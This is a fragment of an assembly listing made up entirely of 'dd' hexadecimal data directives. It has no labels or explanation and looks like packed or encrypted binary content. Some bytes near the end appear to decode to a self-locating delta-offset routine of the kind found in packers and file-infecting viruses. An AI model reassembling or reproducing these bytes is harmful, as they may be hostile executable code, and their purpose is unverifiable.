		dd 5A9029CBh, 7719BDD5h, 6406D2C7h, 52F4E2B4h, 43E5F3A2h
		dd 0EA987ED6h, 6799443Ah, 0F59D0BD8h, 68F3FE1h,	0CEC7FDD2h
		dd 804A350Ah, 613E572Fh, 0C55AC739h, 0DE80316Ch, 65324E4h
		dd 19D015h, 0E70B0000h,	92F1976Fh, 17A20EE6h, 0B620723Eh
		dd 0E3A277CCh, 0FDEE519Ah, 0E70CFFFFh, 92F18D35h, 973F5585h
		dd 0FC4089C2h, 0BCECC432h, 60B801D7h, 17C1D606h, 30D9EACEh
		dd 0A8569944h, 643CEDEBh, 0D5776134h, 93687025h, 0E6A1355Dh
		dd 7A2C0BFDh, 0BB3D8EE3h, 7200000Ch, 5E0EB026h,	4DFD9F39h
		dd 40F09246h, 30E08254h, 39D27462h, 0C4128003h,	0B1277222h
		dd 9F375F0Fh, 90484DFDh, 432981EEh, 99443A95h, 9DB68312h
		dd 0D50BE0F8h, 584318C0h, 30655D8Eh, 0D22C06A8h, 0F18D3EECh
		dd 0FDE3BB92h, 92F18D4Fh, 216A1BCCh, 620EFA9h, 169515h
		dd 0E7D00000h, 92F1976Fh, 0FD4A1DE6h, 59C5FFFFh, 0D6D724Eh
		dd 94E977Fh, 774FBD87h,	3EA06091h, 662FDD99h, 0B3649D72h
		dd 0ECECABDBh, 0B1624EA3h, 4C993EA0h, 8987B1FAh, 73134B37h
		dd 1D3h, 7E92F9Bh, 0AE84503Eh, 65E72065h, 0DC92F18Dh, 2B1C9804h
		dd 0D56E675Dh, 0D4C1778Ch, 0ECD22C04h, 92F1BC3Eh, 52860DBBh
		dd 4A93447Dh, 741E4E28h, 1B1B8D62h, 60E56C9Ah, 15438C3Dh
		dd 0E0F61F80h, 0AB954155h, 994AE9CEh, 603464C4h, 0FF492D76h
		dd 9392F275h, 0C61281B1h, 8A7AB37Dh, 652BCD0Bh,	21572C9Ah
		dd 208C6474h, 0A710ABC1h, 98BA03BCh, 60F2ADE8h,	8185951Dh
		dd 3D1105EFh, 0B7B94F42h, 3453106h, 9E92F266h, 3FD9E34Ch
		dd 0C51506FCh, 13Fh, 0E0F89D00h, 56079C08h, 0E54B03Ah
		dd 5B3A70C5h, 0EBF1980h, 3062926Ch, 8B71D1A6h, 92F202DDh
		dd 0AFF8A95Ah, 5B33A16Bh, 3F1E9C75h, 5B411999h,	993F1EADh
		dd 0F3C8792Ah, 3F1E5507h, 4D9EF099h, 4BB56D2Bh,	9278D213h
		dd 993F26E4h, 5467B061h, 40h, 8B4D4C7Ch, 0BD87FD42h, 0F091774Fh
		dd 6D993E8Dh, 29FEDABFh, 0A6A3FF0h, 481DBBDAh, 8D5402E8h
		dd 20D1993Eh, 9042266Fh, 2B993E8Dh, 0AA6690D9h,	52134B20h
		dd 9Eh,	8B4D4A7Ah, 0EF347DB6h, 85331973h, 0FF92F18Dh, 0E4954098h
		dd 0B0286D9Bh, 4A4B7BDBh, 3780B98Eh, 784D8909h,	0B0855342h
		dd 1BBD1B7Ah, 0F1A656B5h, 13C5D092h, 73E1AB71h,	5B85B59Bh
		dd 54029941h, 0EE69741h, 8022B4DEh, 5914C2D0h, 7A29367Ah
		dd 0ABA6F74Ch, 8200000Ah, 6E1EC016h, 5D0DAF29h,	5000A236h
		dd 40F09244h, 49E28452h, 0D4029013h, 0C1178232h, 0AF276F1Fh
		dd 0A0385D0Dh, 533991FEh, 99443CA5h, 73C69322h,	3D865243h
		dd 7B53830Fh, 287B070Fh, 236C81EEh, 94445101h, 0F89D2BF2h
		dd 0C0D50BE0h, 1FAB7618h, 53000004h, 8F647423h,	0C8C80D56h
		dd 2A986265h, 2231E652h, 0D2357864h, 4B4B3189h,	9B994485h
		dd 85AD5B41h, 792A9944h, 72540530h, 2AD8BE18h, 0A7994485h
		dd 9F69ADF6h, 1D796034h, 0FAABE4B9h, 528B7149h,	0CF9F91B2h
		dd 0AB5D491Eh, 259F91B2h, 5C92676Fh, 0B0CCA137h, 0A330135Ch
		dd 92FE1851h, 0FD415DECh, 0C63E875Bh, 19A646CAh, 372B2h
		dd 35E7ED00h, 8592F18Dh, 519A3E55h, 0F18DCA6Dh,	0F6642E92h
		dd 0B347381Eh, 6797993Eh, 9CD5AA2Eh, 0BC772853h, 7A268EE7h
		dd 0BBFF50A5h, 72000009h, 5E0EB026h, 4DFD9F39h,	40F09246h
		dd 30E08254h, 39D27462h, 0C4128003h, 0B1277222h, 9F375F0Fh
		dd 90484DFDh, 432981EEh, 99443D95h, 73B68312h, 0E8B5043h
		dd 0A2D019CAh, 0C410E5F3h, 84B48CFAh, 247CC513h, 4431413Eh
		dd 6B0DBE99h, 956DDBA5h, 96D5B6AFh, 0D85339Fh, 0DEAE8B90h
		dd 7B2C55D2h, 0D7C2F2CAh, 92439504h, 0E5008AF0h, 9D649F96h
		dd 47B38D2Fh, 5A2C5DEBh, 7CDEC895h, 38FDD162h, 0A9F01E67h
		dd 71245A2Fh, 0C2238F67h, 0BEE415FCh, 66B20750h, 0FC562E9Ch
		dd 2B0EBCA2h, 0C889F97h, 256E1FCAh, 0E42FD041h,	8F754DA5h
		dd 0A5E42FE1h, 41FCAD5Eh, 86CC0B76h, 0FB7ACB20h, 32000008h
		dd 1ECE7066h, 0DBD5F79h, 0B05286h, 0F0A04294h, 0F99234A2h
		dd 845240C3h, 716732E2h, 5F771FCFh, 50880DBDh, 3E941AEh
		dd 99443E55h, 877643D2h, 47774FBDh, 0EB438C4Ch,	44310C05h
		dd 0BADB8999h, 65956D1Eh, 5202A434h, 4DB99147h,	19EB04B8h
		dd 0E93E87A6h, 8D65D39Dh, 96D7AAA7h, 0A176279Fh, 0BB13D541h
		dd 0C3605768h, 0FE6C367Ah, 0C82B4026h, 0F7A8A5E3h, 0CBA47B3Ch
		dd 6BBC1186h, 87Ah, 4FF1E5B3h, 3EE0F89Fh, 31D3058Eh, 21C31381h
		dd 13B52171h, 0D3BF447Ah, 0E8B16103h, 0F89E4EF0h, 98C3CDEh
		dd 68C02DCFh, 443FD482h, 0F5C25199h, 0B3E3F89Dh, 0B96A6C26h
		dd 0EFE9AEE4h, 7F30E11Ah, 791A4AAAh, 0F6A73162h, 719FE821h
		dd 0F4DFB424h, 7DD7C12Ah, 0BD92464Dh, 8D722084h, 0DCC292F1h
		dd 92F18D2Eh, 9E4FFAABh, 6A6E2755h, 2432CEC8h, 8CBA1506h
		dd 0F5000001h, 0BE0F89Dh, 791BC0D5h, 8DA25036h,	6E1F92F1h
		dd 0A46A0CBDh, 28946CDAh, 15668E33h, 0E038815Bh, 98462C86h
		dd 0D692F1EEh, 0A2738742h, 0B2630E54h, 0BCAC8569h, 7829993Eh
		dd 0BD05B7A3h, 4EA0993Eh, 0B3DDB1Dh, 5282134Bh,	84BD9244h
		dd 451ABCD6h, 20B0C30Ch, 0EB000000h, 774FBD87h,	3E8DF091h
		dd 0E7BC6D99h, 3E8D49FBh, 5992E499h, 4B20611Fh,	0D20B13h
		dd 9D460000h, 0C296A7F8h, 5D478F05h, 7728E69Ch,	0B0266CA2h
		dd 0EA987ED8h, 6792F27Ch, 0E2186DB6h, 686E28B3h, 0E9ACE2B7h
		dd 70E74DEFh, 0C092F298h, 0FEDCBB54h, 0F740CFC6h, 6A0CCCC9h
		dd 3C33DAA4h, 65467B18h, 432901B2h, 99426E13h, 78603363h
		dd 0C274A38Eh, 87D05976h, 0F09E845Ch, 409941ADh, 41ADAC5Ah
		dd 0CD782999h, 0B05E441Ch, 2D9941ADh, 0C3F3CB7Ch, 0A692CECFh
		dd 26ECD1D3h, 0D85CFD39h
		dd 0B1627Eh, 0F2E4AE5Eh, 29A68037h, 5CAD027Ah, 6FAh, 0CF716533h
		dd 0BE60781Fh, 0B153850Eh, 0A1439301h, 9335A1F1h, 533FC4FAh
		dd 6831E183h, 781ECE70h, 890CBC5Eh, 0E840AD4Fh,	44405402h
		dd 7542D199h, 3FE1F59Dh, 30D2068Fh, 65732656h, 0C90E5790h
		dd 85331973h, 292F18Dh,	0E2F6A351h, 5D8BD40Dh, 95CBA038h
		dd 0A600D800h, 8DB8664Ch, 843592F1h, 0F18D7220h, 663EEF92h
		dd 0F18DD280h, 559E4F92h, 4C6833h, 0E0100000h, 4C3822B4h
		dd 9E3F6DEBh, 0C80F549Dh, 5BC99334h, 319E9D83h,	6A1B9944h
		dd 0BF7E8388h, 0C9AF87F5h, 9F96D5CBh, 0F6C65E48h, 0AD825643h
		dd 47FA8A74h, 77D1B364h, 5E81090Bh, 25FDA081h, 96F6913Fh
		dd 145D0E9Fh, 40CBh, 0BD878600h, 0ED1D774Fh, 0FFE32CACh
		dd 993E9C1Eh, 2915EA9Bh, 993E8B76h, 2208A9F0h, 993E8B74h
		dd 0BA8F40F1h, 0EEC31584h, 0DF03903h, 0AA80E9B5h, 0B49A72E0h
		dd 9F8B9AD3h, 32FD9F50h, 0D3h, 4FBD87EDh, 89371D77h, 392F18Dh
		dd 3A734890h, 3D95DE8Fh, 0F8E0B3E3h, 0BDA1EA23h, 994431BCh
		dd 83C8A00Ch, 2EE6ED09h, 0AA94A50Ah, 92784F37h,	9943DBE4h
		dd 0B6FFB061h, 6B70DA8Bh, 0D8BD66h, 36A2F52Bh, 86E73B61h
		dd 5203D5BEh, 0FA3C6DB7h, 13546E1Eh, 6EE6h, 0BD872100h
		dd 9191774Fh, 0E994431h, 0E9EEF35Dh, 15845740h,	73D12C3h
		dd 95754A8Eh, 29D60C9h,	3C9AFA2Ah, 9442E67h, 2B1D4800h
		dd 9622C75h, 547311EFh,	35DB13h, 97030000h, 4351D1E2h
		dd 9B85BE93h, 0A4ED9093h, 52BD875Fh, 0D8FE9447h, 4419CA03h
		dd 9C825A0Bh, 9944319Dh, 0FAFF691Ah, 0D4155FF5h, 5480E6A2h
		dd 0D8E13h, 0E7C90000h,	92F1A6CDh, 0FEF07B44h, 7336FFFFh
		dd 775D5443h, 92F18DC9h, 9BE49546h, 471F8D57h, 0CDAD6EDBh
		dd 0FF380DC9h, 3792BD15h, 80C90D89h, 8D714228h,	3DEE9944h
		dd 0BD521C68h, 448D29D7h, 0E8CEA699h, 99448D3Ah, 0A45506B7h
		dd 30E8E6CCh, 0B4659F97h, 5EC993DFh, 1AF2A335h,	0E9D40B34h
		dd 0BCDA88A5h, 5B0C451Ah, 0D6FD1783h, 94703542h, 0D922D305h
		dd 92465181h, 6CD84EBAh, 0FF80A50Dh, 4CE94B6h, 3464BE96h
		dd 6BA4795Fh, 716D3E22h, 39EAAC3Ch, 71653161h, 1CEC69CFh
		dd 2F664463h, 3E5707A9h, 0B65C59Ah, 631C7725h, 0FA43F444h
		dd 0A67EECB6h, 1CB8664Ch, 84354463h, 0E4FDE33Bh, 344AB02Dh
		dd 0FD469004h, 304C21D2h, 600EF44Eh, 0DD4AB02Dh, 0D019E32Ch
		dd 9133A5F0h, 4C21B5E1h, 0FFD9BCECh, 0CC0F88B6h, 895E0FC9h
		dd 0BCDE0F63h, 2B950650h, 549D1343h, 0C4667026h, 7F548214h
		dd 7CC87174h, 96435333h, 1DBBDEFDh, 0AD5E976Ch,	0BE87440Bh
		dd 0B7A78817h, 7425A0CBh, 0AE5C429Ch, 2B92F20Ch, 0A6DC317Ah
		dd 0D714E9EFh, 7D462485h, 0D8BD6D0Fh, 8D919600h, 3CF35FB7h
		dd 0ECED7B2Bh, 3A903E24h, 5C0D92F2h, 20DDC1ABh,	0D60A482Eh
		dd 9A6AC38Dh, 0CBFBDDFBh, 50880FCCh, 3A6ACA9Fh,	71AA7F59h
		dd 58964428h, 861092F2h, 4E457B50h, 4599B58Ah, 318519E4h
		dd 0E5AEDEF8h, 1B7CAAF3h, 2B6B1BBDh, 0A76D6ABh,	0DCCC1099h
		dd 0FD9846BEh, 84CD06DBh, 0F254EFA0h, 0F603292h, 21B5DD0Dh
		dd 54B56349h, 813292F2h, 4A8C0A38h, 725042A8h, 0CFC792F2h
		dd 1506C130h, 0FFFF55BCh, 0F89DF7FFh, 0D99898A7h, 0F24C45F3h
		dd 2711C292h, 6D1BD1BDh, 5BFDAE2Ah, 88301581h, 0B8465083h
		dd 0FC4CFAE0h, 18C992F1h, 0E4F4A1CFh, 8D4B4A7Ah, 379FF323h
		dd 70662C62h, 0DFB4629Bh, 8E3F99FCh, 0E0499DB9h, 28814D1Dh
		dd 0C39B3D58h, 0FCD58369h, 0A45292F1h, 0EA33E4F2h, 4F720E88h
		dd 46FA1506h, 22000000h, 6237A1F2h, 879BE029h, 1D774FBDh
		dd 0D80093C3h, 0F18DC674h, 10594392h, 0ED5533CAh, 0F5D922D3h
		dd 994526F7h, 5459C374h, 76B78350h, 6840AE78h, 20B6DE0Eh
		dd 0E5C9124Bh, 9F97C9E7h, 86D1B364h, 46h, 4FBD8741h, 0BEB11D77h
		dd 0B2B5ED24h, 0C216812Fh, 876BB4EDh, 99450A89h, 0E6EB5506h
		dd 0F5360ADFh, 0D0C22DF7h, 47F83106h, 0AE8B896Fh, 30089F97h
		dd 97AE9C4Ah, 0BA68199Fh, 0F12AFFD9h, 0D4045E40h, 74015C3h
		dd 0F89D79BEh, 0C0D50BE0h, 0E6B07618h, 0CBA1E7Bh, 3E774C8Ah
		dd 0F6CFB58Dh, 73993EA9h, 4F01EDC2h, 0C9993EA9h, 360BCBh
		dd 2D6A3F99h, 22AF92DBh, 237D9FD0h, 0A935E3C9h,	1B2993Eh
		dd 3EA9EF9Dh, 0D7BE6C99h, 42F32C01h, 388781F9h,	316D134Bh
		dd 0A8000000h, 85331973h, 292F18Dh, 0FAC40851h,	2DCEB48Ch
		dd 0AA993E8Eh, 94C424F9h, 0C5FED305h, 8EE6987Ch, 2F81993Eh
		dd 21DCBCFEh, 0D8A8134Bh, 0E3000000h, 0B1E3F89Dh, 66175025h
		dd 98013191h, 0D1825643h, 4C7AC3FCh, 5BBB9046h,	236C6C2Bh
		dd 6338A0F5h, 2373682Dh, 0FA6002B3h, 92F19213h,	2ED0088Dh
		dd 0ECC1177Eh, 9068D6A0h, 3EC39DAAh, 8981ED99h,	8D3ACA59h
		dd 3A9CF6A4h, 0B8E32C65h, 9A4B8D0Ah, 0FA6832F8h, 886EC822h
		dd 993EFBDAh, 9442A657h, 11993EFBh, 0D9BF1760h,	9F8EB2A3h
		dd 67976F20h, 2F09AB2Bh, 0DEBAB9C3h, 5D47ABBFh,	0A2EECB9Dh
		dd 85B3FCA6h, 610EC90Dh, 0CF807730h, 178297Ah, 0E3B50000h
		dd 0F6A151F3h, 39040E2h, 118333D5h, 1F7323C5h, 467C15B7h
		dd 6B0DC9C9h, 58FADEBBh, 46E8EEA8h, 37D9FF96h, 0DE8C72CAh
		dd 5B994446h, 0F59DFFCCh, 68F3FE1h, 0D1DCC1D5h,	1398F037h
		dd 538C6112h, 873900A2h, 1D774FBDh, 0D8F193B1h,	569F9A13h
		dd 3EEED172h, 0C89D4E99h, 3EEE2ADCh, 3A73C599h,	4B410000h
		dd 9FEC13h, 9D270000h, 0D50BE0F8h, 584419BDh, 92F19271h
		dd 8C2EAAEBh, 471FB9DCh, 10597D17h, 37A56FBBh, 0C2D5055Fh
		dd 0BF084116h, 3EC3CEDBh, 0F89A4B99h, 22FA6832h, 8E77A73Ch
		dd 9B73249Fh, 754D541h,	0B0A8DA7h, 0D8FE94C2h, 3CF05C36h
		dd 0EB6DF0h, 90023079h,	2FE88B46h, 0ED428076h, 0AD9Ch
		dd 0BE188000h, 0AD2B6C1Ch, 0A0385B0Bh, 90464EFEh, 82543EEEh
		dd 8E1147E0h, 8030D204h, 6D1DBF19h, 5B0BAD29h, 8FFC9E3Ah
		dd 46A35137h, 91209944h, 0E1F59DC4h, 0D2068F3Fh, 71265630h
		dd 10599267h, 504373CBh, 317AB388h, 71469203h, 24B4E111h
		dd 0F0E8ADDBh, 0E1F79E4Eh, 0D2068F3Fh, 273111FDh, 52A4F78Bh
		dd 6C6C2919h, 0A7316494h, 2E5099D2h, 67712454h,	33A5F01Eh
		dd 6A6C285Eh, 0A4523892h, 21F78B27h, 0B6D22770h, 0DF0F0962h
		dd 0A9D720B8h, 31DFC5ECh, 0AEF78B27h, 0D0AA4CFDh, 0DE2F4A0h
		dd 385D8BD4h, 37ACBA0h,	35000000h, 0FB9D3378h, 0C5D006DBh
		dd 8E083E13h, 5C3D7348h, 2171A77Ch, 0E8AAE0B5h,	0B1E319EEh
		dd 791A5025h, 43548A5Fh, 513DC095h, 0C181E189h,	4, 8704E983h
		dd 248B240Ch, 13686824h, 2C890000h, 0E7895724h,	4C781h
		dd 0EF830000h, 243C8704h, 243C895Ch, 80BE5650h,	890652A5h
		dd 0C5895EF0h, 3C8B5458h, 4C48124h, 83000000h, 2C8904ECh
		dd 8478F24h, 50243C8Bh,	405E089h, 5000000h, 4, 5C240487h
		dd 50242C8Bh, 405E089h,	83000000h, 48704C0h, 47E95C24h
		dd 0ABFFFB86h, 0B8E40604h, 652BAB5h, 0E0FFC503h, 76BB291h
		dd 1C346C20h, 21F7C059h, 7D40B014h, 69225FAAh, 48ECFA0Dh
		dd 1AE2D999h, 295CF490h, 8D6A34Ah, 65FDE136h, 3190BCA7h
		dd 149E06C8h, 25DDBF2Eh, 40952320h, 3520851Ch, 3CA323Fh
		dd 6E3AD046h, 68580F44h
		dd 414CCF4Ah, 4518E532h, 45220E81h, 155D1A06h, 4793149Fh
		dd 50239B2Dh, 48DAE848h, 4F1DF4E5h, 4751AA62h, 0BC3D8D8Dh
		dd 0FE80652h, 32000000h, 0A38BF401h, 65117C6h, 0C805ACEFh
		dd 890F769Ch, 6, 2D318D89h, 895E064Dh, 4D05998Dh, 0F2816606h
		dd 85C72FB7h, 64D051Dh,	70F4h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 85C35242h, 14B39781h, 0E81FBE66h
		dd 2E985C7h, 64Dh, 0EE90000h, 0C7000000h, 816E43C6h, 0C777992Ah
		dd 6E418544h, 2DB5FFF7h, 8B064D00h, 4D10ADBDh, 5595FF06h
		dd 0F9064D2Eh, 95FF006Ah, 64D0511h, 29EBC08Bh, 0DEE5EC96h
		dd 3D8926BFh, 267F0D88h, 35F915C9h, 1384DC65h, 886214D1h
		dd 31D0B5E8h, 17492BD5h, 0F615A49Ah, 43945E96h,	13E8B4h
		dd 0C5610000h, 7144C325h, 80A7FEC9h, 0F014CF32h, 75DEFB95h
		dd 31958B0Dh, 58064D03h, 8BC081F5h, 33000061h, 3810FC9h
		dd 80000000h, 348BA8C2h, 68A0F08h, 8B000000h, 4D154195h
		dd 3DF68106h, 8B4488BCh, 4D00859Dh, 41F68106h, 0E83E6991h
		dd 11h,	5A595D2h, 0CC1ED797h, 0AEA485B9h, 1E99633Bh, 0EB81665Eh
		dd 815A8430h, 5B2A76C6h, 0E7DBBF26h, 34891FFEh,	27DF8008h
		dd 3089BD8Bh, 0E983064Dh, 0DDBD8B04h, 81064D06h, 0FF9F40F9h
		dd 2B850FFFh, 0E9000000h, 14h, 0B2FFE26Ch, 208FAD52h, 0A1B2FCB7h
		dd 0E0B491BAh, 9F4C2E9Ch, 1CE9h, 1F5B8E00h, 2E510FDBh
		dd 80CA04EFh, 8166DA3Fh, 0E9CDEEEBh, 0FFFFFF62h, 0CD705EDAh
		dd 0B08D8DC1h, 660652BDh, 890347BAh, 4D05998Dh,	8D958906h
		dd 0C7064D15h, 4D051D85h, 723006h, 0C725B400h, 4D02E985h
		dd 6, 0FE8B6600h, 2DB5FFh, 0DE8064Dh, 6D000000h, 224C83D4h
		dd 20C07429h, 0BA69B8FEh, 29659D29h, 0FF5A064Dh, 4D2E5595h
		dd 11E906h, 8A480000h, 80EEE2F5h, 4ADE3673h, 1C9A1F94h
		dd 6ACC1D79h, 1195FF00h, 8B064D05h, 0F29EBC0h, 3E57D5F5h
		dd 0EB1DFEFFh, 0B144830Ch, 4C2658D2h, 448DD497h, 0F274D38Bh
		dd 41A19B51h, 0EF95CF2h, 0CFA6CF74h, 0D1C8A0B8h, 6AC08Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 3FDBAFC3h, 10E98D4Fh, 2D000000h, 5626025Ch, 4C13B1E7h
		dd 62B365D2h, 6026CC7Dh, 7EA6BA66h, 8361B1B2h, 4D1BD9BDh
		dd 9750006h, 11BD83h, 7400064Dh, 8B535019h, 3FCB8C0h, 85890000h
		dd 64D2575h, 0B7159D8Dh, 0D3FF064Fh, 0BD83585Bh, 64D0011h
		dd 50177400h, 3FCB853h,	85890000h, 64D2575h, 0B4049D8Dh
		dd 0D3FF064Fh, 8166585Bh, 66BFCDF2h, 4388EA81h,	81C08BF5h
		dd 673365CAh, 81BD8334h, 1064D12h, 64840Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 8138D2C3h, 6B904CE2h, 0B8E3803Fh, 2269BD83h,	0F00064Dh
		dd 3185h, 3820F00h, 0F000000h, 0BD83D9B7h, 64D21A5h, 73840F00h
		dd 0F000000h, 1582h, 10E900h, 6360000h,	0EE4E1AB6h, 7224AD4h
		dd 0CD504AB2h, 13E943A1h, 6A000004h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 9956C351h
		dd 1293010Bh, 0D38A9Ch,	66000000h, 6A3046BAh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 98A3C355h, 503C4F08h, 55D0196Fh, 721A3CB6h, 0C199BAB7h
		dd 2FB20565h, 0C7F2050Ch, 98BA5A2Fh, 0C3987986h, 0C37A418Eh
		dd 0C72F051Bh, 7D545248h, 8E868082h, 0C78F035Fh, 0C7F1ED58h
		dd 9859050Fh, 0BB355ACCh, 83DF012Bh, 0C738012Bh, 90D0050Fh
		dd 507631CCh, 146463F0h, 170DFB97h, 2F280565h, 0C7BC050Ch
		dd 9E9D5C2Fh, 0C30B4986h, 0C3B3418Eh, 0C7CB0519h, 726544Eh
		dd 32A45839h, 0C3E9EC54h, 2FE9050Fh, 0C75E050Fh, 79C28452h
		dd 0AD9157B0h, 0C423560Fh, 0E7E5050Fh, 4EA9C654h, 467D2153h
		dd 0D2B8214Bh, 845E050Fh, 0CC20C65Ch, 60C8AAB5h, 1840634Ah
		dd 0C78FC584h, 0C7F1ED5Ch, 9C59050Fh, 9B355ECCh, 83DF012Bh
		dd 0C732012Bh, 94D4050Fh, 0C46519CCh, 7EF4DEF6h, 0A1F430DFh
		dd 90E9D384h, 0A6DD656Fh, 0CAB75555h, 0FE2F050Fh, 113C63D7h
		dd 1DB8612Eh, 88DADEA0h, 95F26F9Fh, 0C77906E7h,	4E6250Fh
		dd 0E30A8C55h, 0E36B840Bh, 0C797180Bh, 499470Fh, 832DD84Ch
		dd 59FE3EBh, 4C1F990Dh,	8BBD0AD8h, 7851FB2Bh, 0C84F5DD6h
		dd 0C797058Ah, 0A19A640Fh, 0C2BFD484h, 0C7F20703h, 4CAEBA00h
		dd 91BC6F07h, 0C75E06E7h, 471250Fh, 0E3E38C51h,	0E38F840Bh
		dd 0C7E51F0Bh, 4A4430Fh, 0C1CACC53h, 0C8716D66h, 0C75E0F82h
		dd 0C72AEC0Fh, 7640050Fh, 0A1820A6Ch, 46194D84h, 783F46CDh
		dd 0C778BD12h, 46DA050Fh, 5692EEFCh, 0B700F6B5h, 95C7551Ch
		dd 59A3BE69h, 95B53400h, 0C7F214E6h, 77F6B80Fh,	0CC80DDB0h
		dd 1517E975h, 0CD83DBCFh, 0F698881Dh, 0E812BF69h, 9FBF5D55h
		dd 96F26F9Eh, 0C77906E7h, 4E5250Fh, 0E3128C56h,	0E36B840Bh
		dd 0C7971D0Bh, 49A440Fh, 0B426FF6Ch, 1E7E6384h,	0C77A8800h
		dd 4CDA050Fh, 0C39FF3D8h, 0C67E8000h, 0D37E050Fh, 42CB050Fh
		dd 6F205755h, 88844FDFh, 55241155h, 7A806F2Ah, 9E78D220h
		dd 2F7D0565h, 0C797050Ch, 9D085F2Fh, 0C3C15186h, 0C3D6418Eh
		dd 0C7790517h, 5C7F574Dh, 0FC1FAD13h, 0C72F11E7h, 940FA10Fh
		dd 81460Dh, 2B0FC96Eh, 7BF32FD6h, 5CA6D0C2h, 9C658E68h
		dd 0C8363C8Fh, 0C72E7F8Ah, 0BE1CFC0Fh, 97CB6F0Eh, 0C7E506E7h
		dd 4AA250Fh, 0E33D8C57h, 0E3F8840Bh, 0C75E1E0Bh, 47F450Fh
		dd 2BB17D69h, 6ED0B25Ah, 0C7F48700h, 0CB1B050Fh, 779050Fh
		dd 830B7D82h, 0F321AE7Ah, 46994258h, 0C79705F0h, 0F7490A8Fh
		dd 0ADE5050Eh, 0C41A540Fh, 0E779050Fh, 4EE5C656h, 465A2143h
		dd 0DD2B214Bh, 8697050Fh, 0A396C65Eh, 0AD7F80A0h, 2D8EB4h
		dd 95C6108Ah, 0C7BC0409h, 955E6F0Fh, 0C72F06E7h, 4CD250Fh
		dd 0E39F8C55h, 0E3A1840Bh, 0C7F2180Bh, 42B470Fh, 0ED38595h
		dd 0F3644DD3h, 18C6F1AFh, 0AD97050Fh, 0C423500Fh, 0E7E5050Fh
		dd 4EAFC652h, 467D2163h, 0DDB8214Bh, 825E050Fh,	0B38FC65Ah
		dd 6ED33EC6h, 1F7C0A68h, 0C7E5ABE6h, 96F26F0Fh,	0C77906E7h
		dd 4E5250Fh, 0E3128C56h, 0E36B840Bh, 0C7971E0Bh, 49A440Fh
		dd 5D7C093h, 2FA9846Eh,	9E858FF3h, 2FE90565h, 0C75E050Ch
		dd 9AEC582Fh, 0C3B36986h, 0C3EF418Eh, 0C7E5051Bh, 31504Ah
		dd 0C77B8D00h, 1637050Fh, 18FCEF8Eh, 44495C2Dh,	0C8680E76h
		dd 0C7CB578Bh, 91E56F0Fh, 0C7F206E7h, 427250Fh,	0E3C88C51h
		dd 0E31A840Bh, 0C72F1E0Bh, 4C1430Fh, 177D099Fh,	0E9452B47h
		dd 4235F285h, 0C12BBA1Ah, 0C7BC050Eh, 2F0E0565h, 0C72F050Ch
		dd 9F545D2Fh, 0C3EF4186h, 0C3C1418Eh, 0C7F20517h, 0D4BA554Fh
		dd 89F6DDD2h, 8F8EBA00h, 61EF78Eh, 242E284Ah, 4A997DE0h
		dd 9521928Ah, 0E74F8809h, 0FC7F57CCh, 0F7BB71F7h, 8097D400h
		dd 0C745F0E4h, 0C794ED58h, 98EB050Fh, 0BB6C5ACCh, 8373012Bh
		dd 0C763012Bh, 90FB050Fh, 685B28CCh, 0A8D97913h, 0C7938100h
		dd 7CAD050Fh, 186EEB63h, 2FA70565h, 0C779050Ch,	9A7F582Fh
		dd 0C37A6986h, 0C30B418Eh, 0C7970517h, 1908504Ah, 8372F905h
		dd 7A71D384h, 0C134178Eh, 0A2380A0Eh, 2E5E050Fh, 0C72F0506h
		dd 805015DAh, 33798429h, 0AE58866Dh, 0C7F4482Dh, 0C7338000h
		dd 4CDA050Fh, 44AF8FD6h, 8A0EA0B2h, 43980509h, 0C7CB054Fh
		dd 2FB60565h, 0C7F2050Ch, 9CBA5E2Fh, 0C3985986h, 0C37A418Eh
		dd 0C72F0513h, 0C554564Ch, 0A4C6A19Dh, 97F4C584h, 0C7F203E6h
		dd 0F139D90Fh, 0A10ED8D2h, 7CF31EB5h, 0C1DDC83Eh, 0C79764E6h
		dd 1D40630Fh, 0D564B88Ch, 0C8F30342h, 0C779228Ah, 466A8E0Fh
		dd 0CA0E3DFDh, 0CEC65812h, 0A897050Fh, 0E32E9712h, 0CB408750h
		dd 3693BFCCh, 0E8904E2Eh, 0A1BC050Fh, 0DA8E78Eh, 55996552h
		dd 5679EC8Eh, 8AA2B77h,	2FB30565h, 0C7F2050Ch, 99BA5B2Fh
		dd 0C3987186h, 0C37A418Eh, 0C72F0519h, 38545349h, 7A467CADh
		dd 0C1B7BA4Bh, 3968882h, 0DAC1035Dh, 0F4C73F53h, 8A40D48Ah
		dd 6E02E09h, 242E07E6h,	4A997DE0h, 9521928Ah, 0E74F8809h
		dd 0FC7F57CCh, 0F7BB71F7h, 0E983D400h, 83A4F305h, 52BF15BDh
		dd 0D740006h, 4DE58D8Dh, 1B8064Dh, 0FF000000h, 0BF0F40E1h
		dd 0CE8D3h, 0C6600000h,	2E16F486h, 69B607E6h, 0DC8A7838h
		dd 55006A5Bh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0E692C404h, 0E883A0B6h, 56006A2Dh, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
		dd 0D0BF0F23h, 0B3C08BF8h, 0D9BD8302h, 64D1Bh, 0BD830975h
		dd 64D0011h, 50197400h,	0B8C08B53h, 3FCh, 31A58589h, 9D8D064Dh
		dd 64FB77Ch, 585BD3FFh,	11BD83h, 7400064Dh, 0B8535017h
		dd 3FCh, 31A58589h, 9D8D064Dh, 64FB41Dh, 585BD3FFh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0E8C35040h, 16164C77h
		dd 939139BBh, 52006A42h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 0AB889B72h, 0E44C6DE0h, 81607BAEh
		dd 583847E8h, 5FBE665Dh, 0C08B61F0h, 24EBh, 8 dup(0)
		dd 0BDE90000h, 89000000h, 52C59CB5h, 81858B06h,	8B064D12h
		dd 4D0D0585h, 0E6B58D06h, 8D0652C5h, 50494D85h,	0C3D0FF06h
		dd 0E855h, 815D0000h, 52C5ECEDh, 81BD8306h, 1064D12h, 2C850Fh
		dd 0B5FF0000h, 652C59Ch, 0D05858Bh, 3635064Dh, 0FF348127h
